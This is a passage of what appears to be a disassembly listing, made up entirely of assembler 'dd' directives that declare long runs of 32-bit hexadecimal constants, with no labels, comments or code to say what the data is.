		dd 0FDD8C6D9h, 5E98A119h, 80BA5200h, 1EF6661Eh,	167AB3FCh
		dd 5A55E15Bh, 3D048D40h, 206A7FFBh, 8C3883BBh, 0ADD4A925h
		dd 0ADD6608h, 37BE2D32h, 49AFB306h, 73B12E03h, 0D559C421h
		dd 281441C6h, 0F6C631h,	0FF50B454h, 6E4C1CCh, 6E0E8175h
		dd 0C3E2B551h, 0DBEA33C4h, 0AC34476Bh, 0E4CC9541h, 0DEB95351h
		dd 2D1FA718h, 0A2079BEEh, 0EC32BCA5h, 376A6DD3h, 0D0AF0F25h
		dd 552F7226h, 2390827Fh, 0F9392AE0h, 105DB408h,	0D20D3933h
		dd 35128CBAh, 48410309h, 4D023B85h, 4552107Ch, 0E9EA0C0Ch
		dd 0A006427Eh, 0EE695726h, 9759D128h, 27603B3Ah, 45700979h
		dd 0E15B2E00h, 0C22AF4DFh, 4C9E49EAh, 72F83Dh, 23BC54D7h
		dd 0C217D13Ch, 1D8D9FA2h, 0C486800Ah, 7BA246A3h, 8CDF2832h
		dd 0A6C5F698h, 52673396h, 0C6EAE683h, 229E0D88h, 4A0D2013h
		dd 3845D67h, 13D640FFh,	0F5843D3Fh, 53F2C8C3h, 0C86907F6h
		dd 0B15AC922h, 0D8320FE9h, 0A2A08451h, 0A16F7FEAh, 0DAF8E648h
		dd 0A7B0E46h, 0E2C06134h, 393B12F9h, 1434CC1h, 7C200919h
		dd 4069145Ah, 0F9D49517h, 69F48C8Eh, 5F7290CFh,	0EA16A0FAh
		dd 22FE9346h, 0CD8F0244h, 1D80F7B4h, 59406E68h,	0C02630D0h
		dd 38D7BF57h, 2A0E00E5h, 0C10C5FF1h, 71388610h,	691A70FEh
		dd 83993B30h, 7D02C0DEh, 68EE2A3Dh, 230E10Dh, 0B0FBA05Bh
		dd 4EA8062h, 7588C4Dh, 0D10259C3h, 40251583h, 1DA7E0ADh
		dd 801EFC17h, 980144ECh, 0BB045365h, 76112218h,	4DE0CE80h
		dd 0F87F0696h, 85048D8h, 993EEA15h, 0C382147Ch,	2EF5C4E8h
		dd 61E58103h, 0A4F871C1h, 250704D0h, 2A24B530h,	5A0D6681h
		dd 0C4777330h, 80E3C2DBh, 18F9CB2Dh, 51C13Bh, 0B1C797EBh
		dd 7D68A79h, 59C62A5Bh,	545EC332h, 0DAE2D4D3h, 5B8A3F45h
		dd 0D01F506h, 96F1EA16h, 0B8D84635h, 8290C4F7h,	0F0498CC8h
		dd 0AA885084h, 532630EAh, 0B8546710h, 66FBA2CFh, 881717FCh
		dd 508A53EAh, 12B5E7E3h, 263D5860h, 4703049Fh, 8206EFC2h
		dd 0E309A2CFh, 0EB90B784h, 0A038204Eh, 301C1E9Dh, 0A7EC5270h
		dd 7A07AF07h, 0EA58F302h, 67D34574h, 64E6BAE8h,	5DE40654h
		dd 2608042Bh, 0D2EBB937h, 33302440h, 0DF260050h, 3674F33Ch
		dd 14F651C7h, 4E422E0Eh, 86026918h, 1FB65296h, 83E87173h
		dd 0EA5FF28Ah, 4C0EE4B3h, 7DAAF481h, 9A0CADD3h,	0C030129Eh
		dd 0DE292406h, 0A1580EEAh, 4112814Fh, 0BCEC2FADh, 0E6A7C055h
		dd 766F46F2h, 0F568D5F6h, 5D92AF58h, 0F453A652h, 90AC8209h
		dd 83DA70F6h, 0B4C6BABh, 60C8C4C2h, 1682FF09h, 9548ED2Ch
		dd 41825ADFh, 7F820DC3h, 306C73C3h, 76F3B380h, 4A0CB3DBh
		dd 23939FEAh, 786C0CC4h, 350C224Bh, 4314872Eh, 845CDB03h
		dd 8A7210C3h, 2CA74C73h, 69846949h, 0DACD166Ah,	3249420h
		dd 0C2308215h, 501E03ECh, 0EDE0B2Eh, 1495BAFCh,	319A343Bh
		dd 6D02B4F0h, 24EA37Ah,	3319305Dh, 8A89435Eh, 5352029Ah
		dd 2E3361h, 0E651C389h,	0B0C8EAD1h, 9F176477h, 5D01C288h
		dd 8010A642h, 0FB027AC7h, 0F42AE850h, 9036CE5Fh, 33EA1605h
		dd 370A4E34h, 541B2442h, 0BD678C0h, 80F23Eh, 810FF62Ch
		dd 2AEAC48Ah, 4CC9EFA4h, 0D89E3C35h, 0CD811739h, 0DDF79A1Dh
		dd 3176C540h, 5C2959E4h, 5F2965D9h, 464E07CCh, 79002950h
		dd 1EAB754Dh, 0EA1CEF92h, 4D38FFE2h, 0EB84872Ah, 5DB58866h
		dd 68436A97h, 9955FC75h, 0CE68B4h, 8EF666Ah, 0C7A0DCF8h
		dd 122E9B94h, 7910C5F9h, 755BA00h, 0CC327139h, 0F4825A01h
		dd 66C2B44h, 0A509320h,	0A2EB503h, 261230A5h, 3F128405h
		dd 0CB4FB2EAh, 0EE182C5Ah, 3C70E92Dh, 5C0ECB34h, 8516512Ah
		dd 449B753h, 131250EBh,	1D5F4F07h, 816F2097h, 2C67046Ah
		dd 0C74778E0h, 537CC823h, 0C2C3027h, 1301E228h,	3D8CFC8Ah
		dd 0D902794Ch, 841974h,	0F58E3006h, 94C40660h, 20962839h
		dd 5348494Ah, 125B8BB1h, 6BF1C272h, 890D9A20h, 3D370225h
		dd 0E95A00E0h, 0CC169EDh, 0F587D6F7h, 485FC40h,	728489Bh
		dd 860B4A00h, 40E95273h, 3A2C1E6Ah, 631240Dh, 3C8B0D9Eh
		dd 0E6BEE987h, 895710FFh, 0C72481E7h, 83983704h, 3C870Ch
		dd 54535C24h, 31E9565Bh, 5832FE67h, 82529C62h, 0C80154Ch
		dd 0BF0F0890h, 8301DDC2h, 7D0C875Dh, 2ED3144h, 8C2C335Fh
		dd 373BFE80h, 893DA0ECh, 0FE59FC14h, 128FEDDCh,	83201C8Bh
		dd 0F38104C4h, 0F04F4B1Ch, 2C545FDFh, 77E90D0Dh, 9C8C3010h
		dd 80A8E4FDh, 86BCEC39h, 0E68898F4h, 9534371Ch,	0EBC5E128h
		dd 0F8E8F150h, 8EA1FFC2h, 8B518A58h, 0B50E2E0Ch, 59D50F7Ch
		dd 8EEA819Ch, 0E9E80257h, 5885A749h, 0D983CB07h, 0BB7E03EBh
		dd 2C9412EEh, 85983BD1h, 0C381E3E1h, 8C062110h,	33E9EA87h
		dd 5E106BC4h, 5C5072CEh, 54DFD6B7h, 810B97D9h, 4C5292ECh
		dd 0F07C2AA4h, 808A2C1h, 8367558Dh, 0C75502F5h,	0F7660E00h
		dd 433526E9h, 0C4FE1C22h, 14C59C80h, 0D81095E3h, 5B8D4496h
		dd 5230517Ah, 5DEEC99Dh, 3A2E0E05h, 21A73F9Ah, 2941B04Ah
		dd 7A32DF0h, 5E1102ADh,	45430433h, 5C06189Ch, 115F3068h
		dd 5321E952h, 10FF0AD0h, 0F7282075h, 3B5F7481h,	0C28081DFh
		dd 29FFA6BAh, 37E0E9FAh, 8E0126CCh, 2A6F3668h, 23B05E9Fh
		dd 0EE00B384h, 55331121h, 0B285B0E9h, 0AFEE2E0h, 0CA291B27h
		dd 0F19BBFF9h, 0F3D31E30h, 835987B9h, 0CB685F0Eh, 0D45F4476h
		dd 83774048h, 0BA02C224h
		dd 18286C08h, 0F66DF8Fh, 9C0CB366h, 0FF4E40D4h,	0FBF087FCh
		dd 0B1104460h, 0A9CA88B5h, 0DC5859B4h, 2A019880h, 0A5FBEFE9h
		dd 215BFE7h, 68284C25h,	15B0F7Bh, 70728BDFh, 7805E906h
		dd 0B22D891h, 867A8320h, 654AF49Ch, 18978E8h, 42FB58Fh
		dd 93ECF0A0h, 30D0BDC3h, 2373C9CAh, 211B87A4h, 5A531FDCh
		dd 0F702654Eh, 0F4461732h, 5023B201h, 0C0FED0B0h, 49E9C8C8h
		dd 503A717h, 1FC9BC71h,	894842D2h, 0F690C083h, 96EDD234h
		dd 7AF6B111h, 0ABD50B36h, 7BB4CF0h, 0C1251D01h,	314B07E3h
		dd 7FF8C01Eh, 5F29710Ah, 0A0B28D24h, 0AB645Bh, 48F0CE81h
		dd 0EED15AC1h, 0BF6E4FDh, 0E9AB8F26h, 6E340A28h, 9B8AC464h
		dd 67500642h, 59B98075h, 0D2F8E305h, 0D080CB01h, 99875BDEh
		dd 4D5492C5h, 11068118h, 87D4A221h, 0C0E4B1D2h,	0E1800780h
		dd 60CDB05h, 0F1C904B3h, 0DAC1F09Ch, 3D322C38h,	0E919F4C8h
		dd 13EE30Fh, 0BE565681h, 20086452h, 68C37477h, 0BCE8685Eh
		dd 54E9998Ch, 0FC59FE13h, 2C204839h, 0F1B850C3h, 2564A798h
		dd 0C7448F02h, 82E0C119h, 0DE6EC9h, 3BC46853h, 83DE39D9h
		dd 555BD785h, 16F02BDh,	0FD6E5DEBh, 51BE8981h, 0EA8BF311h
		dd 53325E4Eh, 0A85BBFFFh, 7029A29Bh, 66096542h,	3428905Dh
		dd 8AA1D53Fh, 4C8D41C1h, 0FE410178h, 3D57D3D0h,	4312038Fh
		dd 826D3797h, 62463406h, 6815E2F6h, 6012581Bh, 0D432AF54h
		dd 45E91976h, 0B9661C74h, 0B26B178h, 1DFC1CCDh,	0FEAAB2E5h
		dd 5CCEB8EAh, 0F23F3F79h, 556EA913h, 5C09183Fh,	27A72CD3h
		dd 68386C93h, 0BF799A31h, 6BA6410Ah, 9E529856h,	5291C281h
		dd 3193EA90h, 7FF972Fh,	51C16Ch, 7D1813B9h, 0E9D9F740h
		dd 1516DD5Dh, 48AB5950h, 55173018h, 73046FF6h, 0EEC109EDh
		dd 0A65605h, 34071C5Eh,	1E3A057h, 0DC712BCh, 477B2569h
		dd 33B334A7h, 6317ACDh,	549009DAh, 0C801B60Fh, 0E9E18951h
		dd 51245D67h, 3A80012Dh, 0D8013B7Fh, 51074705h,	3054520Eh
		dd 0DD69A13Eh, 5EE700B8h, 0B5BDA89h, 0C15AD531h, 0F5814981h
		dd 26729FB9h, 835DE804h, 0EE534A84h, 3C110008h,	15FF807h
		dd 295CA3C1h, 0E2C6F903h, 0D96B3C2Fh, 0B23508Bh, 68552476h
		dd 182C0778h, 0E95CBC5Dh, 0AA011B24h, 0E958806Ah, 689240A4h
		dd 64215D4Dh, 0D8CB9336h, 0F7315D14h, 5FCF1692h, 269408E4h
		dd 6815AC22h, 284D49A6h, 553B21BAh, 68A38452h, 548234E0h
		dd 895D0520h, 9674E860h, 208B4DD1h, 8139301Ch, 3C62BD43h
		dd 0A6258D3Dh, 5D8002F3h, 5308E8C1h, 1D2D00BBh,	0D8311C02h
		dd 0E27C355Bh, 193F2E3Ch, 36C458C5h, 5AEDDB80h,	2179B20Ch
		dd 4C32E849h, 268510EAh, 5E0CBDCh, 8626B9Ah, 22204E0Dh
		dd 158220Fh, 0FC00B5Ch,	29061984h, 0D90AD337h, 0B48E621h
		dd 7377588h, 83DE8956h,	10054B9Ah, 0BF0580BBh, 21C38000h
		dd 0C46A1B65h, 0C7647E0Ch, 45EBC0ADh, 0A51F025Bh, 7D2CCEE9h
		dd 6DC48BEh, 6AC02949h,	1827040Fh, 0CD010470h, 820A05FFh
		dd 0A787F8E8h, 0FCAF635Eh, 4B70C49h, 0BF43732Dh, 93392881h
		dd 5756AD00h, 271277F4h, 0B30E2E32h, 0FE66A39Bh, 55F9089h
		dd 2E367AF4h, 20D10117h, 62B29107h, 67E0D829h, 0F2834F0Eh
		dd 0ADAA806Ch, 98732310h, 65FC016Fh, 0C6E9787Ah, 36970494h
		dd 7536D83h, 149EB37h, 168B39A8h, 5A592426h, 38DA7826h
		dd 5798DEA2h, 0EF371B60h, 7B912CEBh, 0ED1A203Ah, 555F07A8h
		dd 2EE5893Eh, 469DD2CAh, 1A7AEE89h, 61FB1377h, 89E90733h
		dd 9249461h, 48F44C85h,	65786254h, 1BB0258h, 0A3918FE6h
		dd 41247B2Ch, 8251096Fh, 22D0D6BDh, 0FB6E2204h,	4F28AE7Ah
		dd 5406C669h, 196B0FBh,	2CE93876h, 0D20F34DDh, 979EC283h
		dd 80C54F51h, 0D3887101h, 5BDDC05Ah, 6DB25209h,	0E9568128h
		dd 74BEEE53h, 0E8EC800Fh, 27E288E7h, 9160E3D1h,	0EA774476h
		dd 0E157D34h, 94319F88h, 0B97A9A40h, 700820C1h,	30E163BCh
		dd 0F9609F69h, 5668521Ah, 10111D4Fh, 0A24AE45Ah, 888BFFC1h
		dd 0CF2948F3h, 0B906A50Fh, 0B800105Ch, 6EB328FDh, 3A464E35h
		dd 4C813980h, 8938A944h, 0DE9A94C7h, 0F7B01A24h, 0B7DC70Ch
		dd 498565Fh, 0D99622E9h, 5476804h, 5629FCDh, 302CFB90h
		dd 1E931D0h, 5672DCDDh,	45D83FC4h, 0BD05BF54h, 0C1B17B38h
		dd 1EFA80Fh, 0D60D131h,	26027BE1h, 58BB58D3h, 17C00DCFh
		dd 4522A3C3h, 0B0297646h, 2CAF7E9Ah, 0D3D50C2h,	2D288DE0h
		dd 0C88414A3h, 0CFB710C3h, 0F6817144h, 3A390735h, 85F1013Fh
		dd 0CF0814C1h, 8D92914Ch, 0A80061DFh, 98033549h, 139DD4Dh
		dd 5F08F87Ch, 8E4C5129h, 0F00F121h, 0AB5155E9h,	684A1C81h
		dd 1D89AB7Dh, 4380CC2h,	874194C0h, 5CC73320h, 0FF9EA839h
		dd 0BB7D6F7Dh, 77D98A9h, 1ADB5913h, 2296C4DBh, 0CB77011Eh
		dd 293164FDh, 0B53CF04Ch, 505F11BEh, 0DC5AE90Bh, 8A2D2920h
		dd 16F4C5Eh, 1CE2A53Ch,	92624197h, 2BF7E627h, 82C048Bh
		dd 0E906166Dh, 6952D815h, 29252966h, 63A30B51h,	0B9390180h
		dd 5628D136h, 9802C5CEh, 14EA238h, 8D588F9h, 0A7BB5F1Fh
		dd 5EA20C03h, 776814ACh, 0DB8B6107h, 0EBBF5F23h, 0E82D46A9h
		dd 588155FAh, 2C6C5D62h, 0F513CAh, 583E6FBDh, 2919CBB8h
		dd 9A32DF05h, 59C0CE7Eh, 0F4686716h, 2451E321h,	0C8B5B3C5h
		dd 0BB76131h, 80D5E407h, 2D6973B5h, 5A20C7B0h, 0DF30E984h
		dd 0CD40186Bh, 5A30C12h, 1652A0Fh, 8A8DCC3h, 53066812h
		dd 944821CCh, 0E96E2CA1h, 5056DE90h, 1276B805h,	86FE6CA1h
		dd 3AA1B53Dh, 28D328D7h, 0E234872Ch, 0B4A70EEAh, 60CC207Dh
		dd 2354802h, 0C1743B11h, 0F2C8C6D6h, 2958155Eh,	374892D0h
		dd 0DA3BDE37h, 4EE8C985h, 4516FE68h, 368C5B85h,	7A599031h
		dd 293BC69Eh, 0C92C4CD3h, 0F6E3801h, 2E5A5DD8h,	69717114h
		dd 0E2D31344h, 312ABD19h, 409A8930h, 0DE3805EEh, 2938855Ah
		dd 71F2DC8h, 71B5F03h, 0E9CD384Fh, 36609175h, 0E64AF6BEh
		dd 77BA5A30h, 47BF3612h, 2912AD2Eh, 0F89058C2h,	965FF768h
		dd 0BF3A49D1h, 8B0FC947h, 0C4935E3Ch, 7813768Eh, 8AB954D2h
		dd 770EFA18h, 0EE0581D6h, 4BEA18D7h, 0C98BCE0Ch, 3D9A71h
		dd 5250D1F6h, 0F48876B6h, 0D4015A79h, 3069C480h, 0EAEEE9E1h
		dd 573F100Dh, 3C3D0B68h, 0B8014CAh, 192472BDh, 7A6820F3h
		dd 46F67D03h, 0EBDEED81h, 0D829EA82h, 8F088297h, 0BE342005h
		dd 3931EBA9h, 0F8A95DEFh, 513309B4h, 112DFA66h,	5CD2111Fh
		dd 748F4749h, 91C0A4C9h, 10E9F701h, 0CD50254Ah,	71285AA7h
		dd 0D9F26968h, 0D543FF6Ah, 80B92459h, 91465F6h,	10546F01h
		dd 470C448Ah, 212F98Bh,	836861E6h, 8825B30Ch, 0CAA2B62Eh
		dd 126432D4h, 0D456D98Fh, 0B6668501h, 4C3C5840h, 0E5ADB7DEh
		dd 575D8250h, 95D30F6Ah, 6BAC3500h, 266811AEh, 697F71A6h
		dd 2623AA00h, 564C3B4Dh, 0BD2C75EFh, 0EE3D8E07h, 6EBBC1E9h
		dd 54680C08h, 57C42B1h,	4002FC88h, 90B8BF7Eh, 0FB404F39h
		dd 0CE34952Bh, 0E4687F32h, 5295A85Ch, 945A6154h, 0DC127C67h
		dd 6361F781h, 5FFA010Dh, 9104CB70h, 4F290994h, 3653B286h
		dd 7A609600h, 3DCF8137h, 639A0B0Bh, 0E0A9EDE9h,	5C0F5C66h
		dd 0E5F9F766h, 0A29565B6h, 39FCA12Dh, 0BAA0C0E1h, 38ABE04Ah
		dd 5932314Ch, 5E74105Ch, 0B2B1511Ch, 0E7A0C7E8h, 76E8EF81h
		dd 4F545B1Fh, 44371212h
		dd 7D1A1921h, 29DC138h,	8E31E9DEh, 4FA11280h, 91904B77h
		dd 6A9CE600h, 4AE9122Dh, 6F7C9422h, 72CB6126h, 4DB45004h
		dd 6884E328h, 0C3C09189h, 8150E568h, 0D554F2E9h, 0EB81640Ah
		dd 741B1CDCh, 10016A98h, 0D3016D5Ah, 0FD6D50E9h, 0C3692D37h
		dd 0D7FB58C7h, 4E61D62Eh, 65A46861h, 0E2C0736Ch, 5B25EC72h
		dd 26A5E913h, 54744890h, 813C000Bh, 0B36906CDh,	452FE979h
		dd 0C5369435h, 995954E6h, 94A440Bh, 32495106h, 0E2200959h
		dd 0EC688009h, 36436416h, 5D05608h, 0A2BB535Fh,	16DF3F62h
		dd 71476DA6h, 0BF82E389h, 0FE1F2EAh, 3038716Eh,	0D3888C64h
		dd 0A3FFBF6Eh, 0F3DA15F7h, 41948158h, 63759A25h, 5B6C05A7h
		dd 0C320DD4Fh, 99135C1Fh, 0F0370454h, 4FD417D3h, 4E00389Fh
		dd 0F200B299h, 41CF33DFh, 5ED07D89h, 8F3C073Ah,	96277402h
		dd 2E3E78A9h, 0C145806Bh, 0B95108E3h, 0D8140356h, 59CB2934h
		dd 2007EBE1h, 26052F01h, 0F8E90195h, 9421B5A0h,	0D55A5A00h
		dd 69CFD231h, 0E52D1C77h, 1A514189h, 925F806Bh,	9E0E0C1Ah
		dd 181724E4h, 0F75946CAh, 0E5AADD63h, 2E0C7E08h, 4DC22D0Ah
		dd 19DFE482h, 8ED213DFh, 49AA49h, 2D77320Dh, 0D1F73C09h
		dd 0CD3F100h, 0C8018EE1h, 0D7FA596Dh, 501327C3h, 3E943B8h
		dd 5E1A02B6h, 2C4E8080h, 0EC2F994Eh, 50FD17E5h,	0A7F0067Fh
		dd 0DD31D56Bh, 361AD5Bh, 624CD872h, 5C250F0Ah, 92ED04AEh
		dd 193C011h, 50095DEAh,	516644E9h, 6C163C9Ch, 4522D553h
		dd 4179C7EBh, 67DAED28h, 89C0CAC9h, 50067A4Fh, 2143E949h
		dd 0F8144049h, 1D661F40h, 1D743568h, 3C019F5Fh,	0E7586FCDh
		dd 64E6D717h, 0A3DD9450h, 187269A1h, 94406382h,	0B7F78039h
		dd 218F2AB5h, 0B599F94Ch, 680B2E81h, 0CE33B921h, 370F2E78h
		dd 0D6E9D067h, 5C4A0FB2h, 0E268514Bh, 0E4548EE4h, 2CCD7209h
		dd 8B02C330h, 0DEC7D2CCh, 47A18154h, 0E9899526h, 0F13EAD20h
		dd 1A315E90h, 5452F651h, 0D7FE6F25h, 21672945h,	57DF30D1h
		dd 4F222619h, 0A0FC5B0Ch, 0DF9DA129h, 0E950F06Eh, 2373E124h
		dd 97F7898Dh, 6D6BA44Bh, 19E90B21h, 61580217h, 43F471C1h
		dd 15B906Eh, 0B2463E2h,	2503E1C1h, 0A46AB876h, 5027409h
		dd 4A5FFD62h, 84FDE8E8h, 3DAC242Fh, 152720EDh, 3E5CB0E9h
		dd 0AB974450h, 0DF0C10B3h, 0F8305A24h, 93254668h, 629B24E0h
		dd 0BE665DE9h, 0CE92C0EEh, 0FAE7BD3Eh, 5E24377Ah, 5874862h
		dd 2D416F3Fh, 108F345Ah, 4927E69h, 14FEA548h, 0D39CA443h
		dd 89791DDh, 0BA00420Ah, 435D70C4h, 3C732468h, 60E78D26h
		dd 784760B3h, 18732F1h,	0A703CBF6h, 16F5D929h, 0B800642Ch
		dd 1B02726Eh, 2507E8D1h, 51653E81h, 7760CF50h, 330D4C40h
		dd 5149B00h, 2893F233h,	892883B2h, 6540A3F8h, 7F90F2Dh
		dd 1D453409h, 4A5AB787h, 25C0691h, 0F9AA392Eh, 6831658Bh
		dd 2B878BA0h, 0E97C386Ah, 95E9E65h, 0EB514E68h,	0B39F549Fh
		dd 0A4B71AE7h, 27A4467Bh, 67AA0CC9h, 86163BA6h,	0B12184B1h
		dd 5BA3BF18h, 0CE681558h, 0B912AE2Bh, 0B5182752h, 0E599F43Ah
		dd 0BB337A3Ah, 0EDC18945h, 0F418E03h, 5397F959h, 5CBCBBFCh
		dd 0F327627Fh, 9CC1F01Ah, 9323460h, 0E2D1C209h,	0DA0D0255h
		dd 31AD01FAh, 527DE1D8h, 74C15FDAh, 0ED452B55h,	8C0D3304h
		dd 0D940631h, 68827F5Ch, 175949B0h, 300EDF89h, 1703BEC5h
		dd 44026619h, 7430AC7h,	0F927C788h, 72013492h, 0FF5E6F83h
		dd 535A30E5h, 1158D9Ch,	48C0FC3h, 2C507F82h, 62F351F0h
		dd 31591684h, 0FDA90386h, 92607671h, 5B781342h,	5C61F33h
		dd 911AAC71h, 76A8036h,	4D6800DFh, 133122A2h, 40015FFAh
		dd 0B850C387h, 560B2B45h, 0A8CCE92Eh, 0E62851DEh, 30428F00h
		dd 0C39D615Dh, 0C63D34E9h, 3C39C824h, 150F6913h, 5BCD4300h
		dd 0EA01D31Fh, 0F9681259h, 3AAFA335h, 10C2DBEAh, 1469561Fh
		dd 0B510D25Eh, 62FA773Bh, 501701B4h, 0A9898B1Fh, 0ECB39410h
		dd 60154EFh, 31301CA5h,	17F896B6h, 52A08860h, 594FC9h
		dd 1D1CD2EDh, 52E0F835h, 60078E1Ah, 6042DF6Ah, 8BDC06C7h
		dd 0EF7EF290h, 663CCF0Fh, 77667A58h, 0E9178A60h, 0BB4BC94Fh
		dd 0DB480D2h, 0FA84D0C0h, 234B4B2Eh, 0FFC95673h, 312D2E62h
		dd 28AF42Dh, 51648E67h,	9E415289h, 0E122B25h, 0B5708DC0h
		dd 0FAE8FA09h, 28F5B6B7h, 0EB8007BFh, 57CB28F6h, 130959C3h
		dd 0B60F25B8h, 0A3E9C016h, 226890C0h, 70072415h, 21B542E7h
		dd 74A9A10Fh, 0A23C116Bh, 91C3E9C4h, 3AADB4F0h,	0F014C11Ch
		dd 0F43829E7h, 2E34F73Dh, 6DB80E18h, 0BF685CC1h, 42342E59h
		dd 0D450C285h, 2632541h, 82C33017h, 3CDD958h, 3220C288h
		dd 0E88313CEh, 0A47A2402h, 0D11E8873h, 76BF548Ah, 0C2084C6Fh
		dd 6982E959h, 90425AF0h, 3098878Ah, 793396C2h, 0BA754F82h
		dd 6E595D1Ch, 457C00A6h, 0EB29672Eh, 6C9099Dh, 4E91ED0h
		dd 3D685AD0h, 573B36Eh,	261B6FA3h, 2A539012h, 46993BA2h
		dd 0A6B268FAh, 685000CEh, 44286BD8h, 0D46F2D58h, 19C1EF0Dh
		dd 312B233Ah, 8B65FC0Eh, 0B2EEDD55h, 524E54DDh,	1A50D509h
		dd 4F54AF09h, 0CE59700Dh, 47B6E90Dh, 74CF018Fh,	5BFED2E2h
		dd 57C0B75Ch, 0C18D4BFh, 3CE936E6h, 0E41EB691h,	7A49F028h
		dd 0B9A56BE3h, 7D267FBEh, 68579A60h, 0F00A4AD3h, 0EF73E977h
		dd 0B400819Dh, 0C1014705h, 60467E6h, 38EEC003h,	1576552Eh
		dd 3D96F605h, 9F8008EAh, 5E85A9BFh, 162A04ADh, 8810131Dh
		dd 82B04D8Fh, 0D96C7D68h, 57428C74h, 1C06B710h,	5B66F828h
		dd 160425C3h, 1103A7A0h, 0BE7D5AF9h, 1EF13705h,	0EA2DD601h
		dd 36908B00h, 2B4FACh, 759208F3h, 7B41298h, 2805023Ch
		dd 0F02965A0h, 0C28D0F3h, 1C12289Ah, 6874DDC1h,	5C31D01Ch
		dd 478FA01Ah, 0F0E92720h, 8BBD1503h, 8770A5C7h,	0D97ED1C1h
		dd 3848700Eh, 27D058A3h, 1265145h, 0C213C9F8h, 0D0018284h
		dd 7CB7712Ah, 0A08960F2h, 32BB2017h, 0E93DAA61h, 30A5C9B2h
		dd 525065E0h, 51CA881Fh, 22E21B49h, 7C305B46h, 5810BEBDh
		dd 270D5D82h, 4B02465Dh, 0F98FC966h, 790476C3h,	0ADDB24F5h
		dd 93003BB0h, 8173CA35h, 302869E1h, 100C1F20h, 8CC17570h
		dd 8D2F9BBAh, 4C2E430h,	2480D9CBh, 2711A929h, 0F6082003h
		dd 9093BF46h, 15D3D20Ah, 597A0F87h, 3324D061h, 6311B5Eh
		dd 0E55C0D27h, 9E5318BDh, 94736149h, 70755EC0h,	2F414D60h
		dd 2FA940E9h, 0F4C817D9h, 5729F340h, 4BE91347h,	2CF84FC5h
		dd 0FB0FB153h, 94950E95h, 0BE8B19CFh, 0F492E390h, 662A248Ah
		dd 1234BBC1h, 4FC5D238h, 4C498A39h, 371C3437h, 15DDCC0h
		dd 1FDBA1FAh, 0EE82AC02h, 0A94813F3h, 46176FA5h, 0C095D70h
		dd 5F9A8045h, 188FB990h, 8CC44EE9h, 562C61BEh, 0B70927FAh
		dd 17489631h, 81697368h, 0A5F1CE79h, 873399C2h,	403CBE34h
		dd 5BA4596Dh, 8791BA97h, 0B9D04B5Fh, 0E4F5F11h,	8307EFC1h
		dd 0FC75678h, 3F692E17h, 0A03C0303h, 0C20C1D8Ch, 5B3EC2B1h
		dd 8C62FA29h, 0A25F0804h, 55DBC4C6h, 0CF5A2009h, 0B2C1AB20h
		dd 602FF046h, 8EBE220Fh, 9990076Ah, 2CFEE20h, 0B0A03A05h
		dd 0EC6329B1h, 159CA98h, 5A5AD52Eh, 1A6F9900h, 4BA5E91Fh
		dd 277BCA3Fh, 6629895Fh, 8A8994Eh, 5302D2A8h, 54728F68h
		dd 0D43F6467h, 3A9100B6h, 875A4D9Ch, 8055EA2Dh,	1CE95D37h
		dd 0BCF0A83Dh, 1E7A2E78h
		dd 0B2771303h, 0CB3A73FBh, 46AC8581h, 78C22763h, 65650B7Fh
		dd 0C307C428h, 4A7B051Eh, 35F6CAD0h, 0E9700C2Ah, 518EFB57h
		dd 0C9CFB1AEh, 0BB07F1B3h, 59BE35A7h, 7EFE5100h, 81017825h
		dd 73C13AC5h, 98A73188h, 5EE915C0h, 0D3332F49h,	49834505h
		dd 64C54900h, 30C119BEh, 20608E2h, 2132E94Ah, 0F85F2414h
		dd 4EC6027Eh, 5A7A0379h, 0ADB9D6C5h, 423D9AE1h,	2906028Ch
		dd 5DD97AF9h, 245B0F5Ch, 0A0B404E3h, 8E4C1D47h,	1389EAC0h
		dd 90158C6h, 0F2AB088Eh, 814B6751h, 30455A6Bh, 9D901F4h
		dd 70FE685Bh, 0F801AAE6h, 0E911B309h, 1B961AD0h, 0D7CF08E0h
		dd 30B34525h, 324AD2EEh, 0FE015532h, 5A0883EEh,	73C4C656h
		dd 20BB256Ch, 0A23CA0A4h, 0DEE32416h, 0C92708A0h, 5B1F270Ch
		dd 0F002C7B2h, 6244FCB1h, 4EF2DF4h, 0F0380B84h,	1B975A43h
		dd 0A57CE746h, 28A02568h, 766D598h, 0C0EFBFC0h,	482DDA1Ch
		dd 9948EE4Fh, 1A4ED61Bh, 5A219FA8h, 5FFB091Fh, 0BE56DB80h
		dd 3966657h, 0D9E6816Fh, 80B4E738h, 4A43D331h, 142364Ch
		dd 25D1E534h, 9138C7E9h, 55CFBD03h, 20383AF1h, 4ECD925Ah
		dd 0A4B90F2Ch, 3EC0C8F7h, 56036D2Ch, 22199868h,	7DB8711Bh
		dd 877B8798h, 6CBF8534h, 522C1BF9h, 0F55A4799h,	57539439h
		dd 0FCE799C2h, 9A9F7FB8h, 25FFD622h, 0AE2419E2h, 4A5D8A51h
		dd 0E90CAB8Ah, 0F7317DD5h, 186DA5Ch, 0EC16C6B7h, 6B28D089h
		dd 6C84FB1h, 6B3B981Dh,	0F55B1FA0h, 4459850Bh, 305C26C1h
		dd 0F90946A2h, 8FACE7EBh, 7AC94F54h, 0D30033h, 6D27DCC0h
		dd 0D966F743h, 2408D105h, 968022E9h, 83278C5Dh,	29CC0CDFh
		dd 3301063h, 685A66D0h,	0DF4123CAh, 5E3A89A2h, 0C36F7A33h
		dd 2128682Fh, 44552712h, 40CA6CF4h, 109B962h, 78612A28h
		dd 5DBF20A3h, 0EE57AD97h, 19285E60h, 1235FE6Fh,	6E1E7007h
		dd 1EB28537h, 50054C60h, 6056FC09h, 5FFA4120h, 0D248F74Ah
		dd 2F980568h, 810002A3h, 498919D5h, 59CE0621h, 0A37326E9h
		dd 0B1BE572Ch, 6419E281h, 5CED7942h, 0B80B4425h, 0E9C83105h
		dd 357AF137h, 88B6001h,	7E2CBA9Fh, 905E9CDh, 1BCAF41Fh
		dd 1D7A2E1Eh, 4A8328DAh, 727E54D0h, 0A62D0E90h,	0F34C5105h
		dd 0CAD2B9E9h, 11C68466h, 69F785E0h, 0AED804D0h, 31C43504h
		dd 9AB8F515h, 0E625E90Ch, 0AA0FF3F1h, 692EFC5Eh, 5456277Eh
		dd 3E4B8B66h, 33A55266h, 0FED68262h, 90BDBCC2h,	0E462EA9Bh
		dd 71719058h, 0A284A63Eh, 2D8D769Bh, 586A7E10h,	83121DBBh
		dd 0C433D4C3h, 498C71CCh, 3896F9BDh, 3940733Ah,	0D4C35401h
		dd 6236B757h, 268EA290h, 14F14E92h, 2FD8E6C4h, 4B1C5087h
		dd 3E9DC8D3h, 2BC78080h, 0EC5BFE20h, 0C0DC39E6h, 0F60407BEh
